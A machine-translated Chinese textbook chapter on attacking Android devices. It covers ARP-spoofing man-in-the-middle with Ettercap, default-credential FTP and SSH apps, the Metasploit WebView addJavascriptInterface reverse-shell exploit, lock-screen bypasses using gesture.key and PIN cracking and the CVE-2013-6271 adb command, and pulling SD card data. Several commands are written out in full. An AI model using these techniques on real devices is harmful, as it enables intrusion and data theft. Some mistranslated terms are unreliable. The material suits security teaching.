Skip to content

Latest commit

 

History

History
429 lines (257 loc) · 19.4 KB

File metadata and controls

429 lines (257 loc) · 19.4 KB

十、安卓设备攻击

如今,将智能手机连接到咖啡店和机场的免费 Wi-Fi 接入点的用户非常普遍。常见的情况是,使用 Android 设备获取更多功能。一旦发现安全漏洞,谷歌通常会发布 Android 及其组件的更新。本章简要介绍了用户应该了解的一些最常见的技术。我们将从一些简单的攻击开始,例如中间人MitM),然后跳转到其他类型。以下是本章涵盖的一些主题:

  • MitM 攻击
  • 提供网络级访问的应用存在危险
  • 使用公开可用的漏洞利用设备
  • 物理攻击,例如绕过屏幕锁

MitM 攻击

MitM 攻击是移动设备上最常见的攻击之一,因为用户经常连接到公共 Wi-Fi 网络。能够在设备上执行 MitM 不仅可以在用户通过不安全的网络传输数据时向攻击者提供数据,还可以在某些情况下篡改其通信并利用漏洞进行攻击。WebView addJavaScriptInterface 漏洞就是一个很好的例子,攻击者需要截获通信并向 HTTP 响应中注入任意 JavaScript,以获得对受害者设备的完全访问。我们将在本章后面的章节中讨论如何使用 Metasploit 框架利用 addJavaScriptInterface 漏洞实现代码执行。本节显示了 Internet 上最古老的攻击之一,该攻击可用于使用名为 Ettercap 的工具拦截 HTTP 通信。

第 1 章建立实验室中,我们提到读者应该在 VirtualBox 或 VMware 工作站上下载 Kali Linux。

Ettercap 在 Kali Linux 中可用。在继续之前,请使用文本编辑器打开 Ettercap 的配置文件,如下所示:

MitM attacks

取消注释etter.conf文件中与 iptables 关联的规则,如下所示:

MitM attacks

我们现在需要找到网关。我们可以使用netstat找到网关,如下图截图所示:

MitM attacks

我们案例中的网关是192.168.0.1

最后,让我们运行 Ettercap 来执行 MitM 攻击,如以下屏幕截图所示:

MitM attacks

前面的命令在 eth0 接口上执行 ARP 欺骗。它正在网络中的所有主机上执行 MitM 攻击。您可以在以下屏幕截图中看到:

MitM attacks

如果 LAN 中的任何用户通过不安全的通道传输数据,则运行 eTerCap 的攻击者将能够看到数据。

以下屏幕截图显示用户打开 HTTP 网站并在登录表单中输入数据:

MitM attacks

单击登录后,攻击者将能够在 eTerCap 终端中看到凭据,如以下屏幕截图所示:

MitM attacks

如前所述,还可以将任意代码注入将由移动客户端(特别是 WebView)执行的 http 响应中。

提供网络级访问的应用存在危险

用户从应用商店安装应用以满足日常需求是很常见的。当手机上安装了能够在网络级别访问 Android 设备的应用时,用户必须小心谁可以访问这些设备以及可以访问哪些数据。让我们来看几个例子,当用户在使用具有某些高级功能的应用时,如果不了解安全概念,可能会出现什么问题。

只需在 Play Store 中搜索 Ftp 服务器,我们就会得到 Ftp 服务器应用,该应用包名为com.theolivetree.ftpserver,位于前几个结果中。此应用的应用商店 URL 在第 1 章设置实验室中提供,我们在此处设置了实验室。

**此应用通过端口2221在非根设备上提供 FTP 功能。正如您在以下屏幕截图中所看到的,在撰写本文时,此 is 应用已被下载超过 500000 次:

Dangers with apps that provide network level access

当你看到它的功能时,如果你想在你的设备上寻找 Ftp 服务器功能,它是一个非常好的应用。启动应用将向用户显示以下内容:

Dangers with apps that provide network level access

从前面的截图中,我们可以看到以下细节:

  • app 正在使用的端口为2221
  • 默认用户名和密码为弗朗西斯
  • 匿名用户已启用
  • 主目录为**/mnt/sdcard**

现在,应用的攻击场景非常简单。如果用户不更改此应用的默认设置,只需几个简单的步骤,SD 卡上的所有数据都可能被盗。

在 Android 设备上对端口2221进行简单的nmap扫描将显示该端口已打开。对索尼设备进行以下扫描:

Dangers with apps that provide network level access

尝试使用任何 FTP 客户端通过端口2221连接到此 FTP 服务器将导致以下结果:

Dangers with apps that provide network level access

如您所见,我们已以匿名用户身份登录。

让我们看一下 App store 上的另一个应用,它在根设备上提供 SSH 服务器功能。在 App store 上搜索 SSH 服务器将在顶部结果中显示一个包名为berserker.android.apps.sshdroid的应用。同样,此应用的下载次数已超过 500000 次:

Dangers with apps that provide network level access

启动应用并查看其选项将显示以下内容。以下屏幕截图显示了新安装应用的默认设置:

Dangers with apps that provide network level access

如果您查看上面的设置,默认密码为admin。更有趣的是,该应用提供了启用/禁用登录横幅的选项。默认情况下,它处于启用状态。

再次使用nmap扫描端口 22,显示设备上正在运行 SSH 服务:

Dangers with apps that provide network level access

如果您认为下一步是使用诸如 Hydra 之类的工具强制输入用户名和密码,那么您就错了。

只需尝试连接到 SSH 服务,而不提供用户名和密码。您将看到以下横幅:

Dangers with apps that provide network level access

很好,我们有用户名和密码。现在,只需使用提供的凭据登录到 SSH 服务器,即可成为 root 用户:

Dangers with apps that provide network level access

这些只是几个例子,说明了为什么用户在使用设备上的更多功能时必须小心。现在,在上述两种情况下,为了给用户提供更安全的移动体验,预计会出现以下情况:

  • 用户必须了解在线安全问题,并应遵循基本步骤,如至少更改默认设置
  • 如果用户无法避免匿名 FTP 登录等危险功能,利用人员应警告用户这些功能带来的安全风险** **# 利用现有漏洞

Android 设备上存在多个漏洞。当发现漏洞时,研究人员还会发布一些漏洞,并将其放在公开网站上,如exploit-db.com。有些在 Metasploit 等框架中可用。有些漏洞可以远程利用,而有些漏洞可以本地利用。Stagefright 就是这样一个例子,2015 年 7 月,一位名叫约书亚·德雷克的研究人员发现了安卓多媒体库 Stagefright 中的漏洞,引起了广泛关注。更多信息请参见https://www.exploit-db.com/docs/39527.pdf

类似地,WebviewaddJavaScriptInterface漏洞是迄今为止发现的最有趣的远程漏洞之一。此漏洞利用了 Java 反射 API 通过 WebView JavaScript 桥公开的事实。尽管我们将在本节中使用 Metasploit 框架诱骗用户在易受攻击的浏览器中打开链接,但此漏洞也可用于 MiTM 攻击,诱骗易受攻击的应用执行注入其响应中的恶意 JavaScript。针对 API 级别<=16 的应用易受攻击。让我们看看使用 Metasploit 实现代码执行的步骤。

首先启动 Metasploit 的msfconsole,然后搜索webview_addjavascript,如下图所示:

Using existing exploits

正如我们在前面的屏幕截图中所看到的,我们在输出中有两个不同的模块。exploit/android/browser/webview_addjavascriptinterface是我们正在寻找的。

**让我们使用此漏洞,如以下屏幕截图所示:

Using existing exploits

加载漏洞模块后,我们需要设置选项。首先,我们通过键入show options命令来检查需要什么,如以下屏幕截图所示:

Using existing exploits

如您所见,LHOST 是有效负载部分中唯一缺少的条目。那么,让我们填一下。您可以使用ifconfig命令找到您的 Kali Linux 设备的 IP 地址。如以下屏幕截图所示:

Using existing exploits

我们的 IP 地址是192.168.0.108

我们用这个 IP 地址设置LHOST,如下图所示:

Using existing exploits

我们把一切都准备好了。现在,让我们输入exploit。这显示在以下屏幕截图中:

Using existing exploits

正如您在前面的屏幕截图中所看到的,反向处理程序正在端口4444上运行,以侦听连接。我们可以将 URLhttp://192.168.0.108:8080/eGE7bwFxw8传递给受害者。

当受害者在易受攻击的浏览器中打开此链接时,它会向攻击者提供一个反向外壳。下面的屏幕截图显示了我们在 Android 4.1 股票浏览器中打开链接时的样子:

Using existing exploits

在攻击者方面,我们将收到一个反向 shell,如以下屏幕截图所示:

Using existing exploits

前面的屏幕截图显示已打开 MeterMeter 会话。如果您没有看到合适的 MeterMeter 外壳,我们可以返回到上一个外壳,查找现有会话,如以下屏幕截图所示:

Using existing exploits

正如您在前面的图中所看到的,我们建立了一个 ID 为 1 的会话。我们现在可以与此交互,如以下屏幕截图所示:

Using existing exploits

我们现在有一个稳定的仪表外壳。我们可以执行各种 MeterMeter post 攻击命令来进一步攻击。如果我们在根设备上获得这个外壳,这将是一个额外的优势。我们可以使用check_root命令检查受害者的设备是否已根化,如以下屏幕截图所示:

Using existing exploits

正如我们在前面的屏幕截图中所看到的,该设备已经扎根。我们还可以获得一个普通的 shell 来运行标准的 Linux 命令:

Using existing exploits

前面的屏幕截图显示我们得到了一个低特权外壳,但是我们使用su命令提升了我们的特权,因为该设备已经扎根。如果设备没有根,我们需要使用其他技术,例如执行根攻击来提升权限。

注意:如果使用任何传统的 MitM 攻击,我们可以远程执行此攻击,而无需用户干预。其思想是执行 MitM 并将恶意 JavaScript 注入 http 响应,并通过 WebView JavaScript 接口公开的 Java 反射 API 将其执行到。请注意,只有当应用使用 WebView JavaScript 桥接器将 API 级别设置为≤16 时,此功能才有效。** **# 恶意软件

我们将第 9 章安卓恶意软件专门用于安卓恶意软件。我们看到了具有恶意意图和基本 Android 编程知识的利用人员如何为 Android 平台创建恶意软件。恶意软件是攻击者窃取用户数据以及执行其他攻击(如 Android 设备)的最常见选择之一。

绕过屏幕锁

与大多数其他设备一样,Android 设备具有屏幕锁定机制,以防止未经授权使用某人的设备,如以下屏幕截图所示:

Bypassing screen locks

Android 设备通常具有以下类型的屏幕锁定:

  • :无屏幕锁
  • 滑块:移动滑块解锁设备
  • 图案:输入连接点的正确图案以解锁设备
  • PIN:输入正确的号码解锁设备
  • 密码:输入正确的密码(字符)解锁设备

由于前两种类型不需要任何额外的技能来绕过屏幕锁定,我们将讨论一些可以绕过其他三种类型屏幕锁定的技术。

使用 adb 绕过模式锁

**注意:**此技术要求设备根目录,并且必须启用 USB 调试。

安卓设备上的模式锁是一种屏幕锁类型,用户需要连接正确的点组合,如下图所示:

Bypassing pattern lock using adb

我们可以想象这些点的数字如下所示:

Bypassing pattern lock using adb

本例中前面的模式变为14789

当用户设置模式时,Android 会散列输入模式值并将其存储在/data/system中名为gesture.key的文件中。这只能由 root 用户访问,因此我们需要 root 用户权限才能访问此文件。

有两种可能绕过根设备上的模式锁:

  • 删除gesture.key文件
  • 拉动gesture.key文件并破解 SHA1 散列

删除手势.key 文件

删除文件非常简单,只需在设备上获取一个外壳,导航到gesture.key的位置并运行rm命令,如下图所示:

Removing the gesture.key file

从 signature.key 文件中破解 SHA1 哈希

现在,让我们看看如何从gesture.key文件中破解散列。

如前所述,当用户设置模式时,它将作为 SHA1 散列存储在gesture.key文件中。将此散列与包含所有可能散列的字典进行比较可以解决问题。

为此,首先将gesture.key文件放到本地机器上。您可以按照如下所示的步骤执行此操作:

$adb shell
shell@android$su
root@android#cp /data/system/gesture.key /mnt/sdcard

上面显示的命令将把gesture.key文件复制到 SD 卡上。

现在,使用以下命令将此文件拉到本地计算机上:

$adb pull /mnt/sdcard/gesture.key

现在,在任何类似 Unix 的机器上运行以下命令来破解哈希:

$ grep -i `xxd -p gesture.key` AndroidGestureSHA1.txt
14789;00 03 06 07 08;C8C0B24A15DC8BBFD411427973574695230458F0
$

正如您在前面的摘录中所看到的,我们已经破解了模式,即 14789。

前面的命令检查来自gesture.key的散列在AndroidGestureSHA1.txt 文件中是否匹配,该文件包含所有可能的 SHA1 散列及其明文。

以下 shell 脚本可用于执行同一命令:

$ cat findpattern.sh 
grep -i `xxd -p gesture.key` AndroidGestureSHA1.txt
$

您可以将gesture.keyAndroidGestureSHA1.txt文件与此 shell 脚本一起放置并运行它。它将给出相同的结果:

$ sh findpattern.sh 
14789;00 03 06 07 08;C8C0B24A15DC8BBFD411427973574695230458F0
$

使用 adb 绕过密码/PIN

注意:此技术要求设备根目录,并且必须启用 USB 调试。

绕过密码/PIN 需要遵循相同的步骤。但是,这并不像我们在模式锁中看到的那样简单:

Bypassing password/PIN using adb

当用户创建密码/PIN 时,将创建一个散列,并将其存储在/data/system中名为password.key的文件中。此外,生成随机 salt 并将其存储在名为/data/system路径中的locksettings.db文件中。需要使用此哈希和 salt 来强制执行 PIN。

让我们首先从如下所示的各自位置拉动password.keylocksettings.db

/data/system/password.key

/data/system/locksettings.key

我使用与gesture.key相同的步骤。

将文件复制到 SD 卡上:

# cp /data/system/password.key /mnt/sdcard/
# cp /data/system/locksettings.db /mnt/sdcard/ 

从 SD 卡中提取文件:

$ adb pull /mnt/sdcard/password.key
$ adb pull /mnt/sdcard/locksettings.db

现在,让我们从password.key文件中获取散列。我们可以在十六进制编辑器中打开password.key文件,抓取散列,如下图所示:

Bypassing password/PIN using adb

让我们使用 SQLite3 命令行工具打开locksettings.db文件并获取 salt。

存储在locksettings表中,可在lockscreen.password_salt条目中找到:

$ sqlite3 locksettings.db 
SQLite version 3.8.5 2014-08-15 22:37:57
Enter ".help" for usage hints.
sqlite> .tables
android_metadata  locksettings 
sqlite> select * from locksettings;
2|migrated|0|true
6|lock_pattern_visible_pattern|0|1
7|lock_pattern_tactile_feedback_enabled|0|0
12|lockscreen.password_salt|0|6305598215633793568
17|lockscreen.passwordhistory|0|
24|lockscreen.patterneverchosen|0|1
27|lock_pattern_autolock|0|0
28|lockscreen.password_type|0|0
29|lockscreen.password_type_alternate|0|0
30|lockscreen.disabled|0|0
sqlite> 

我们现在有了杂烩和盐。我们需要使用这两个工具对销钉施加强力。

的人们 http://www.cclgroupltd.com 已经编写了一个很好的 Python 脚本,可以使用哈希和 salt 对 PIN 进行暴力破解。这可以从以下链接下载,并且是免费的:

http://www.cclgroupltd.com/product/android-pin-password-lock-tool/ 使用BruteForceAndroidPin.py文件运行以下命令:

Python BruteForceAndroidPin.py [hash] [salt] [max_length_of_PIN]

运行上述命令将显示 PIN,如下所示:

Bypassing password/PIN using adb

破解此 PIN 所需的时间取决于用户设置的 PIN 的复杂性。

使用 CVE-2013-6271 绕过屏幕锁

注:此技术仅适用于 4.4 版之前的 Android 设备。尽管必须启用 USB 调试,但它不需要根用户访问。

2013 年,Curesec 披露了一个漏洞,该漏洞允许在 Android 设备上无需适当的用户交互即可清除锁屏。这基本上是com.android.settings.ChooseLockGeneric类中的一个漏洞。用户可以发送禁用任何类型屏幕锁定的意图:

$ adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task

运行上述命令将禁用锁定屏幕。

从 SD 卡中拉取数据

当设备上启用 USB 调试时,我们可以将设备中的数据拉到本地机器上。如果设备没有根目录,我们仍然可以继续从 SD 卡中提取数据,如下所示:

$ adb shell
shell@e73g:/ $ cd /sdcard/
shell@e73g:/sdcard $ ls
Android
CallRecordings
DCIM
Download
Galaxy Note 3 Wallpapers
HyprmxShared
My Documents
Photo Grid
Pictures
Playlists
Ringtones
SHAREit
Sounds
Studio
WhatsApp
XiaoYing
__chartboost
bobble
com.flipkart.android
data
domobile
gamecfg
gameloft
media
netimages
postitial
roidapp
shell@e73g:/sdcard $

我们在非根设备上使用 adb 获得了一个 shell,导航到sdcard文件夹,然后我们能够列出内容。这表明我们对sdcard文件夹拥有查看内容的权限。现在,以下摘录显示,我们也可以从sdcard文件夹中提取文件,而无需任何额外权限:

$ adb pull /mnt/sdcard/Download/cacert.crt
62 KB/s (712 bytes in 0.011s)
$ ls cacert.crt 
cacert.crt
$

正如我们在前面的摘录中所看到的,一个名为的文件已被拉到本地计算机上。

总结

在本章中,我们已经了解了如何对 Android 设备使用常见的攻击。我们已经讨论了一些通用攻击,如 MitM,并观察到它们也可能针对移动设备。我们还看到,在安装允许网络级访问的应用时必须小心谨慎。最重要的是,用户必须定期更新他们的设备和应用,以避免我们看到的针对 WebView 的攻击。****